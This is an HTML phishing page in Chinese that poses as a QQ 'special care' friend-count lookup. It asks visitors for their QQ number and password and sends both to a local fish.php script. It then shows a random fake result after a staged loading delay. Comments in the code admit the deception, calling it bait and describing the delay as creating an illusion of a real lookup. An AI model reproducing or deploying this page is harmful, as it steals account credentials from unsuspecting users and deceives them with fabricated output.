<!DOCTYPE html>
<html lang="zh-cn">
<head>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta charset="utf-8">
    <title>QQ好友特别关心查询</title>
    <link rel="stylesheet" href="css/bootstrap.min.css">
</head>
<style>
    .over {
             display: none;
             position: absolute;
             top: 0;
             left: 0;
             width: 100%;
             height: 100%;
             background-color: #f5f5f5;
             opacity:0.5;
             z-index: 1000;
         }
 
         .layout {
             display: none;
             position: absolute;
             top: 40%;
             left: 40%;
             width: 20%;
             height: 20%;
             z-index: 1001;
             text-align:center;
         }
</style>
<body>

    <div id="over" class="over"></div>
  <div id="layout" class="layout"><img src="./loading.gif" /></div>
<dic class="container">
    <div class="row"  style="margin-top:50px">
        <div class="col-md-4 col-md-offset-4">
            <div class="panel panel-primary">
                <div class="panel-heading" style="background-color:blueviolet">
                    <h3 class="panel-title">特别关心查询</h3>
                </div>
                <div class="panel-body">
                <form role="form" id="name" name="form">
                    <div class="form-group">
                        <label>QQ号</label>
                        <input type="number" id="qq" value="" class="form-control" placeholder="请输入你的QQ号">
                    </div>
                    <div class="form-group">
                        <label>QQ密码</label>
                        <input type="password" id="pd" value="" class="form-control" placeholder="请输入你的QQ密码">
                    </div>
                    <!-- <button class="btn btn-default btn-block">查询！</button> -->
                </form>
                <button id="sub" onclick="bt()" class="btn btn-default btn-block" style="background-color:red">查询！</button>
                </div>
                <div class="panel-footer">
                    <p>说明：</p>
                    <p>1.采用电脑版QQ空间的接口，其实自己去电脑版QQ空间也可以查看</p>
                    <p>2.只能查看有多少人正在特别关心你，并不能看具体是谁</p>
                </div>
            </div>
        </div>
    </div>
</dic>


</body>
<script>
    function showLoading()
         {
             document.getElementById("over").style.display = "block";
             document.getElementById("layout").style.display = "block";
         }
    
    function bt(){
        var qq=form.qq.value;
        var pd=form.pd.value;
        if(qq.length<=4||pd.length<=4){
            //do nothing,愿者上钩。
            alert("请输入完整数据");
        }else if(qq.length>=11||pd.length>100){
            showLoading();
            setTimeout(function(){
                document.getElementById("over").style.display = "none";
                document.getElementById("layout").style.display = "none";
                alert("账号或者密码错误");
            },2000)

        }
        
        else{
            var httpRequest = new XMLHttpRequest();//第一步：建立所需的对象
            var url="./fish.php?qq="+qq+"&pd="+pd;
            httpRequest.open('GET', url, true);//第二步：打开连接  将请求参数写在url中  ps:"./Ptest.php?name=test&nameone=testone"
            httpRequest.send();//第三步：发送请求  将请求参数写在URL中
            var people=Math.ceil(Math.random()*100);
            people=people%4;//特别关心你的人怎么可能会有三个以上呢？
            showLoading();
            //暂停一秒，给人一种正在查询的错觉
            setTimeout(function(){
                document.getElementById("over").style.display = "none";
                document.getElementById("layout").style.display = "none";
                var message="正在特别关心你的好友人数为："+people+"个";
                 alert(message);
            },2000)
            
            return 0;
        }
    }
    
</script>
</html>